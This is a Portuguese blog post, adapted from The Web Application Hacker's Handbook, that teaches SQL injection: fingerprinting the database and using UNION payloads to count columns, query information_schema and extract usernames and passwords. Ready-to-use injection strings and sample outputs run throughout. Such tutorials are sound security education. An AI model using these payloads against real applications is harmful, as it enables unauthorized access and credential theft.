SQL Injection (SQLi): Identificando o BD e extraindo dados com UNION

A maioria das técnicas demonstradas na primeira postagem sobre SQLi são efetivas contra todas as plataformas de banco de dados comuns e qualquer divergência podem ser ajustadas facilmente de acordo com a sintaxe. Entretanto, quando começamos a ver técnicas mais avançadas de exploração, as diferenças entre as plataformas começam a ser mais significante e você precisará ampliar seu conhecimento sobre o tipo de banco de dados que está sendo manipulado.

Você já viu como extrair a string de versão da maioria dos tipos de BD. Mesmo que você não consiga por algum motivo, normalmente é possível obter por outros métodos. Um dos mais viáveis é a forma que o BD concatena strings. Em uma consulta onde você controla a string de dados, você pode fornecer um valor particular em uma consulta e então testar diferentes métodos de concatenação para produzir uma string. Quando o mesmo resultado é obtido, você provavelmente identificou o tipo de BD que está sendo usado. Os próximos exemplos mostra como string pode ser construída para a maioria dos tipos de BD:

  • Oracle: ‘serv’||’ices’
  • MS-SQL: ‘serv’+’ices’
  • MySQL: ‘serv’ ‘ices’ (note o espaço)

Se você estiver injetando um dado numérico, a string a seguir pode ser usada para obter o fingerprint do BD utilizado. Cada um destes itens avalia o número 0 (zero) no BD e gera um erro nos outros:

  • Oracle: BITAND(1,1)-BITAND(1,1)
  • MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
  • MySQL: CONNECTION_ID()-CONNECTION_ID()

Perceba que o MS-SQL e o Sybase compartilham uma origem em comum, então eles tem várias similaridades em relação a estrutura da tabela, variáveis globais e as stored procedures. Na prática, a maioria das técnicas de ataques contra o MS-SQL é similar ao Sybase. Um ponto interessante quando estamos identificando o fingerprint de um banco de dados é como o MySQL manipula certos comentários na linha. Se o comentário começar com um ponto de exclamação seguido pela string de versão do BD, o conteúdo do comentário é interpretador como SQL, provendo a versão do BD atual é igual ou superior àquela string. Por outro lado, o conteúdo é ignorado e tratado como um comentário. Programadores podem usar esta facilidade como uma diretiva de preprocessador em C, habilitando eles para escrever diferentes códigos que serão processados condicionalmente até a versão do BD que está sendo usado. Um atacante também pode usar isto como uma facilidade para obter a versão exata do fingerprint do BD. Por exemplo, injetando a string seguinte faz com que a cláusula WHERE de uma instrução SELECT seja falsa se a versão do MySQL em uso é maior ou igual à 3.23.02:

/*!32302 and 1=0*/

Operador UNION

O operador UNION é usado em SQL para combinar os resultados de dois ou mais instruções SELECT em um único resultado. Quando uma aplicação web contém uma vulnerabilidade de SQL injection pode ocorrer em um SELECT, você pode empregar o operador UNION para realizar uma segunda consulta totalmente separada e combina-la com o resultado da primeira. Se o resultado da consulta retorna para o navegador, esta técnica pode ser usada para facilitar a extração de dados arbitrários de dentro do BD. UNION é suportado pela maioria dos BD. É uma forma rápida de obter informações arbitrárias de BD em situações onde as consultas são retornadas diretamente.

Voltando ao exemplo onde o usuário pesquisa por um livro baseado no autor, título, editora e outros critérios, quando procuramos por um livro publicado pela Wiley fazemos com que a aplicação faça a seguinte consulta:

SELECT autor,titulo,ano FROM livros WHERE editora = 'Wiley'

Suponha que a consulta retorna o seguinte resultado:

AUTOR TÍTULO ANO
Litchfield  The Database Hacker’s Handbook  2005
 Anley The Shellcoder’s Handbook 2007

Vimos nas postagem anterior que um atacante poderia fazer um input manipulado na função de busca da aplicação para alterar a cláusula WHERE e então retornar todos os livros dentro do BD. Um ataque mais interessante seria usar o operador UNION para injetar uma segunda consulta SELECT e juntar o resultado com a primeira. A segunda consulta pode extrair dados de uma tabela diferente do BD. Por exemplo, usando o termo de busca:

Wiley' UNION SELECT username,password,uid FROM users--

faria a aplicação realizar a seguinte consulta:

SELECT autor,titulo,ano FROM livros WHERE editora = 'Wiley'
 UNION SELECT username,password,uid FROM usuarios--'

Isto retorna o resultado original da busca seguido pelo conteúdo da tabela de usuários:

AUTOR TÍTULO ANO
Litchfield  The Database Hacker’s Handbook  2005
 Anley The Shellcoder’s Handbook 2007
admin ROOTROX 0
cliff Reboot 1

Quando o resultado de dois ou mais consultas de SELECT são combinadas usando o operador UNION, a coluna nome combina o resultado como a organização da primeira consulta. Como mostrado na tabela acima, usuário aparece como autor e a senha aparece na coluna título. Isto significa que quando a aplicação processar os resultados da consulta modificada, ele não tem como detectar que os dados retornados foram originados de uma tabela diferente.

Este exemplo demonstra a potencialidade do quão grande é o poder do operador UNION quando empregado em um ataque de SQLi. Entretanto, antes de ser explorado desta forma, deve-se levar em consideração duas coisas:

  • Quando se usa o operador UNION para combinar o resultado de duas consultas, eles devem conter a mesma estrutura. Em outras palavras, devem ter o mesmo número de colunas e terem tipos compatíveis, aparecendo na mesma ordem.
  • Para injetar uma segunda consulta que vai retornar um resultado interessante, o atacante precisa saber o nome do BD que ele quer usar como alvo, e o nome de colunas relevantes.

Vamos aprofundar na primeira premissa. Suponha que o atacante tente injetar uma segunda consulta para retornar o número incorreto de colunas. Ele faria enviar o seguinte:

Wiley' UNION SELECT username,password FROM usuarios--

A consulta original retorna três colunas e a consulta injetada retorna somente duas. Consequentemente, o BD retorna um erro:

ORA-01789: query block has incorrect number of result columns

Suponha que ao invés disto, o atacante tente injetar uma segunda consulta o qual, as colunas são incompatíveis pelo seu tipo. Ele envia o seguinte comando:

Wiley' UNION SELECT uid,username,password FROM usuarios--

Isto faz com que o BD tente combinar a coluna password da segunda consulta (o que contém string de dados) com a coluna de ano da primeira consulta (o qual tem dados numéricos). Como a string de dados não pode ser convertida em dados numéricos, isto causa o seguinte erro:

ORA-01790: expression must have same datatype as corresponding expression

A mensagem de erro mostrada aqui para o Oracle. As mensagens são equivalentes para outros BD. Em vários casos reais, as mensagens de erro são travadas pela aplicação e não retornam para o navegador do usuário. Isto pode parecer que você está tentando descobrir a estrutura da primeira consulta, restrito a um trabalho de adivinhação. Entretanto, não é este o caso. Três pontos importantes que sua atividade é fácil:

  • Para a consulta injetada ser capaz de combinada com a primeira, isto não é estritamente necessário que ela tenha o mesmo tipo de dados. Em vez disto, eles devem ser compatíveis. Em outras palavras, cada tipo de dados da segunda consulta deve ser idêntico ao seu correspondente do primeiro ou ser implicitamente convertido. Você já viu que o BD converte implicitamente o valor numérico para valor string. De fato, o valor NULL pode ser convertido para qualquer tipo. Consequentemente, se você não sabe o tipo do dado de um campo particular, você simplesmente pode usar o SELECT NULL para aquele campo.
  • Nos casos onde a aplicação captura a mensagem de erro do BD, você facilmente determinar se a consulta foi executada. Se foi, resultados adicionais serão adicionados àqueles retornado pela aplicação da sua consulta original. Isto permite você trabalhar sistematicamente até descobrir a estrutura de consulta que você precisa injetar.
  • Em muitos casos, você pode atingir seu objetivo simplesmente identificando um campo único dentro da consulta original que tenha o tipo de dado string. Isto é suficiente para você para injetar consultas arbitrárias que retornam dados baseados em strings e recuperar os resultados, o que permite extrair automaticamente os dados desejados do banco de dados.

Passo a passo

Sua primeira tarefa é descobrir o número de colunas que retornam na consulta original da aplicação. Você pode fazer de duas formas:

  1. Você pode explorar o fato de que o NULL pode ser convertido para qualquer tipo de dado e injetar automaticamente consultas com diferentes números de colunas até sua consulta injetada ser executada. Por exemplo:
    ‘ UNION SELECT NULL–
    ‘ UNION SELECT NULL, NULL–
    ‘ UNION SELECT NULL, NULL, NULL–
    Quando sua consulta for executada, você tem que determinar o número de colunas necessários. Se a aplicação não retornar nenhuma mensagem de erro, você pode assumir que suas consultas injetadas foram feitas com sucesso. Uma linha de dados adicional pode ser retornada, contendo tanto a palavra NULL ou um string vazio. Perceba que uma linha injetada contém apenas uma tabela com células vazias e pode ser difícil de ver quando for renderizado como HTML. Por isto, é preferível olhar a resposta crua (raw) quando for fazer este ataque.
  2. Após identificar o número de colunas, sua próxima tarefa é descobrir a coluna que tem o tipo de string de dados que você possa usar para extrair dados arbitrários do BD. Você fazer isto injetando consultas com NULLs, como visto anteriormente, e automaticamente ir substituindo cada NULL por um a. Por exemplo, se você sabe que uma consulta deve retornar três colunas, você pode injetar o seguinte:
    ‘ UNION SELECT ‘a’, NULL, NULL–
    ‘ UNION SELECT NULL, ‘a’, NULL–
    ‘ UNION SELECT NULL, NULL, ‘a’–

Quando sua consulta for executada, você pode ver uma linha adicional de dados contendo o valor a. Você pode então usar a coluna relevante para extrair dados do BD.

No BD Oracle, cada cláusula SELECT deve incluir um atributo FROM, então injetar UNION SELECT NULL produzirá um erro no número de colunas. Você pode satisfazer este requisito selecionando da tabela acessível globalmente DUAL. Por exemplo:

' UNION SELECT NULL FROM DUAL--

Quando você identificar o número de colunas necessários em sua consulta injetada e achar a coluna que tem o tipo de dado string, você está pronto para extrair dados arbitrários. Uma prova de conceito é testar a extração da versão do BD, o que pode ser feito em qualquer DBMS. Por exemplo, se você tem três colunas e a primeira coluna pode pegar string de dados, você pode extrair a versão do BD injetando a seguinte consulta no MS-SQL e MySQL:

' UNION SELECT @@version,NULL,NULL--

Injetando a seguinte consulta teremos o mesmo resultado no Oracle:

' UNION SELECT banner,NULL,NULL FROM v$version--

No exemplo da aplicação de pesquisa de livros, podemos usar esta string no campo de busca para obter a versão do BD Oracle:

AUTOR TÍTULO ANO
CORE 9.2.0.1.0 Production
NLSRTL Version 9.2.0.1.0 – Production
Oracle9i Enterprise Edition Release 9.2.0.1.0 – Production
PL/SQL Release 9.2.0.1.0 – Production
TNS for 32-bit Windows: Version 9.2.0.1.0 – Production

Claro, que apesar da string com versão do BD é algo interessante e pode permitir você pesquisar por vulnerabilidades específicas do software utilizado, na maioria dos casos seria mais interessante extrair os dados do BD. Para fazer isto, você tipicamente sabe o nome da tabela que você como alvo e os nomes das colunas relevantes.

Extraindo dados úteis

Para extrair os dados do BD, normalmente você precisa saber os nomes das tabelas e as colunas que contém nelas para acessar. Os BDs principais das organizações contém um montante de dados importantes que você pode ir descobrindo os nomes das tabelas e colunas dentro deles. A metodologia de extração de dados úteis é o mesmo em cada caso, entretanto, os detalhes diferem de acordo com as plataformas.

Extraindo dados com o UNION

Vamos supor um ataque sendo realizado contra um BD MS-SQL, mas esta metodologia funcionará em todas as tecnologias de BDs. Considere uma aplicação de livros de endereços que permite o usuário manter uma lista de contatos através de consultas e atualizações de seus detalhes. Quando um usuário procura na aplicação por um contato chamado Matthew, seu navegador envia pelo POST o seguinte parâmetro:

Name=Matthew

e a aplicação retorna o seguinte resultado:

NAME E-MAIL
Matthew Adamson  handytrick@gmail.com

Primeiro, precisamos detarminar o número de colunas necessários. Testando por uma única coluna, retornamos uma mensagem de erro:

Name=Matthew’%20union%20select%20null--

Todas as consultas combinadas usando um UNION, INTERSECT ou EXCEPT devem ter um número igual de expressões na lista do seu alvo.

Adicionando um segundo NULL e o mesmo erro ocorrerá. Então continuaremos adicionando NULLs até que nossa consulta seja executada, gerando um item adicional na tabela de resultados:

Name=Matthew’%20union%20select%20null,null,null,null,null--
NAME E-MAIL
Matthew Adamson  handytrick@gmail.com
[vazio] [vazio]

Agora verificamos que a primeira coluna na consulta tem string de dados:

Name=Matthew'%20union%20select%20'a',null,null,null,null--
NAME E-MAIL
Matthew Adamson  handytrick@gmail.com
a [vazio]

O próximo passo é achar os nomes das tabelas do BD e colunas que contenha informações interessantes. Podemos fazer isot consultando a tabela de metadata information_schema.columns, o qual contém detalhes de todas as tabelas e nomes de colunas dentro do BD. Eles podem ser obtidos com esta consulta:

Name=Matthew’%20union%20select%20table_name,column_name,null,null,null%20from%20information_schema.columns--
NAME E-MAIL
Matthew Adamson  handytrick@gmail.com
shop_items price
shop_items prodid
shop_items prodname
shop_items contactemail
shop_items contactname
users username
users password
shop_items price

Aqui, a tabela de usuários está em um lugar óbvio para extrairmos os dados. Podemos extrair os dados da tabela usando a seguinte consulta:

Name=Matthew’%20UNION%20select%20username,password,null,null,null%20from%20users--
NAME E-MAIL
Matthew Adamson  handytrick@gmail.com
administrator fme69
dev uber
marcus 8pinto
smith twosixty
jlo 6kdown

O information_schema é suportado pelo MS-SQL, MySQL e vários outros BDs, incluindo o SQLite e Postgresql. Foi desenhado para manter o metadata do banco de dados, fazendo com que seja a primeira coisa que um atacante examine no BD. Perceba que o Oracle não suporta este schema. Quando estamos avaliando um BD Oracle, o ataque pode ser semelhante de qualquer outra forma. Entretanto, você pode usar a consulta SELECT table_name,column_name FROM all_tab_columns para obter informações sobre as tabelas e colunas do BD. Você usaria a tabela user_tab_columns para focar no BD atual, apenas. Quando analisamos um BD grande para atacar, normalmente é melhor olhar diretamente os nomes das colunas interessantes ao invés das tabelas. Por exemplo:

SELECT table_name,column_name FROM information_schema.columns WHERE column_name LIKE '%PASS%'

Quando várias colunas retornarem da tabela alvo, eles podem ser concatenados em uma única coluna. Isto faz o retorno mais direto, porque requer a identificação apenas de um único campo varchar na consulta original:

  • Oracle: SELECT table_name||’:’||column_name FROM all_tab_columns
  • MS-SQL: SELECT table_name+’:’+column_name from information_schema.columns
  • MySQL: SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns

Fonte: The Web Application Hacker’s Handbook – 2nd edition.

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Certificações que possuo: EC-Council CEH, CompTIA (Security+, CySA+ e Pentest+), EXIN (EHF e ISO 27001), MCSO, MCRM, ITIL v3. Tenho interesse por todas as áreas da informática, mas em especial em Gestão e Governança de TI, Segurança da Informação e Ethical Hacking.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *